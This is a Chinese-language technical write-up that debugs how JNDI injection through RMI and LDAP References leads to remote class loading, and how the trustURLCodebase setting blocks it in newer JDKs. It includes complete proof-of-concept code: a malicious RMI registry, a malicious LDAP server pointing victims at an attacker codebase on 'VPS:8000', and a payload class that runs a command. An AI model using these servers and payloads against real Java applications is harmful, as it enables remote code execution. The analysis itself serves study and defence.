目录
前言:
(一)RMI
0x01 低版本
1.1 服务端
1.2 客户端
1.3 ExportObject.java
0x02 高版本
(二)LDAP
0x01低版本
1.1 服务端
1.2 客户端
1.3 ExportObject.java
前言:
这篇文章主要是分析在高低版本JDK中JNDI注入RMI和LDAP两个攻击向量的调用过程以及异同点,并且尝试调试高版本JDK的绕过方法,这一篇是基础,先熟悉之前RMI和LDAP是如何注入的。
(一)RMI
0x01 低版本
这里用 RMI+Reference 做演示,JDK版本为8u65:
1.1 服务端
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Aserver {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference refObj = new Reference("ExportObject", "ExportObject", "http://VPS:8000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
System.out.println("[*]Binding 'exp' to 'rmi://127.0.0.1:1099/exp'");
registry.bind("exp", refObjWrapper);
}
}
1.2 客户端
import javax.naming.Context;
import javax.naming.InitialContext;
import java.util.Properties;
public class AClient {
public static void main(String[] args) throws Exception {
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://127.0.0.1:1099");
Context ctx = new InitialContext(env);
String uri = "rmi://127.0.0.1:1099/exp";
ctx.lookup(uri);
}
}
1.3 ExportObject.java
public class ExportObject {
public ExportObject() throws Exception {
String cmd="calc";
Runtime.getRuntime().exec(cmd);
}
}
直接在 com.sun.jndi.rmi.registry.RegistryContext
类的 lookup()
函数下打上断点,如图1-1:
其中从RMI注册表中
lookup
查询到服务端中目标类的Reference返回ReferenceWrapper_Stub类实例,该类实例就是客户端的存根、用于实现和服务端进行交互,最后调decodeObject()
函数来解析。跟进decodeObject()
函数中,如图 1-2:
先判断入参 ReferenceWrapper_Stub类实例是否是RemoteReference接口实现类实例,而ReferenceWrapper_Stub类正是实现RemoteReference接口类的,因此通过判断调用
getReference()
来获取到ReferenceWrapper_Stub类实例中的Reference即我们在恶意RMI注册中绑定的恶意Reference;再往下调用NamingManager.getObjectInstance()
来获取远程服务端上的类实例。跟进,如图 1-3:
调用到getObjectFactoryFromReference()
函数,尝试从 Reference中获取ObjectFactory,跟进:
通过codebase和factoryName来调用
loadClass()
函数来远程加载恶意类EvilClassFactory,最后直接通过newInstance()
实例化该远程恶意类并返回。这里执行的newInstance()
方法就是我们恶意类里面的构造方法,所以就触发了任意代码执行:
这里返回新建的远程类实例之前会先对实例转换为ObjectFactory类,因此,如果远程类不实现ObjectFactory接口类的话就会在此处报错,之前一些demo的恶意类没实现ObjectFactory类所出现的报错正出于此,如图 1-5:
接着如果没有产生报错的话,会将类实例化得到的对象返回NamingManager.getObjectInstance()
方法中:
再往下就是判断新建的远程类实例是否为null,不为null则调用该远程类的
getObjectInstance()
函数并返回,否则直接返回Reference实例。从这里知道,其实恶意类的恶意代码除了能写在无参构造函数外,也可以写在重写的getObjectInstance()
函数中来触发。
0x02 高版本
在JDK 6u141、7u131、8u121之后,增加了
com.sun.jndi.rmi.object.trustURLCodebase
选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项。这里更换8u202版本的JDK来继续调试,如图 12-1 :
直接运行会报错:
报错说该ObjectFactory是不可信的,除非设置
com.sun.jndi.rmi.object.trustURLCodebase
项的值为true:
进行调试看看,前面的流程都一样,直接走到 com.sun.jndi.rmi.registry.RegistryContext 类的decodeObject(),
如图 12-2
:
在调用
NamingManager.getObjectInstance()
函数获取Reference指定的远程类之前先进行com.sun.jndi.rmi.object.trustURLCodebase
值的判断,该值默认为false因此直接抛出错误。
(二)LDAP
0x01低版本
这里使用LDAP+Referernce做演示,JDK版本为8u65:
1.1 服务端
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://vps:8000/#ExportObject";
int port = 1234;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
1.2 客户端
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LdapClient {
public static void main(String[] args) throws Exception{
try {
Context ctx = new InitialContext();
ctx.lookup("ldap://localhost:1234/ExportObject");
String data = "This is LDAP Client.";
}
catch (NamingException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}
1.3 ExportObject.java
public class ExportObject {
public ExportObject() throws Exception {
String cmd="calc";
Runtime.getRuntime().exec(cmd);
}
}
- 先看下,我们在恶意 LDAP服务端的 sendResult()函数中设置了如下属性项:
e.addAttribute("javaClassName", "Exploit");
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
- 直接在com.sun.jndi.ldap.LdapCtx类的
c_lookup()
函数上打上断点,此时函数调用栈如图,看到就是不同几个类的lookup()
函数在逐次调用,如图 2-1:
- 往下走,图中断点这里,如图 2-2 :
- 其中这里的 JAVA_ATTRIBUTES 是类定义好的静态变量,如图 2-3:
- var4变量是BasicAttributes类实例、其值是我们在恶意LDAP服务端设置的属性值,因为设置了javaClassName属性值为”Exploit”,因此调用了
decodeObject()
函数来对var4进行对象解码操作,跟进,如图 2-4:
跟进decodeObject()函数中,先调用
getCodebases()
函数获取到javaCodeBase项设置的URL地址http://vps:8000/
,接着两个判断是否存在 javaSerializedData 和 javaRemoteLocation这两项的值,这里由于没设置就直接进入最后的else语句逻辑,最后由于var1不为null且var1值为前面设置的objectClass内容因此直接调用到decodeReference()
函数来进一步解码Reference的值,如图 2-5:
在
decodeReference()
函数中,根据设置的javaFactory、javaClassName、javaCodeBase等项来通过执行Reference("ExportObject", "ExportObject", "http://vps:8000/")
来新建一个Reference类实例,最后直接返回该Reference类实例。
- 返回的Reference类实例回到com.sun.jndi.ldap.LdapCtx类的
c_lookup()
函数中往下执行,如图 2-6:
- 看到最后是调用到了
DirectoryManager.getObjectInstance()
函数,跟进去 getObjectInstance()函数的调用,如图 2-7 :
其中调用了
getObjectFactoryFromReference()
函数来从Reference中获取ObjectFactory后再调用getObjectInstance()
函数来获取实际的对象实例。跟RMI+Reference是类似的,继续跟进getObjectFactoryFromReference(),如图 2-8
:
和RMI一样,通过factoryName和codebase来调用
loadClass()
函数从http://vps:8000/
中远程加载类(在loadClass()
函数中实际是通过 FactoryURLClassLoader加载器来加载远程Factory URL类),然后将获取回来的类进行newInstance()
实例化,从而触发任意代码执行,如图 2-9: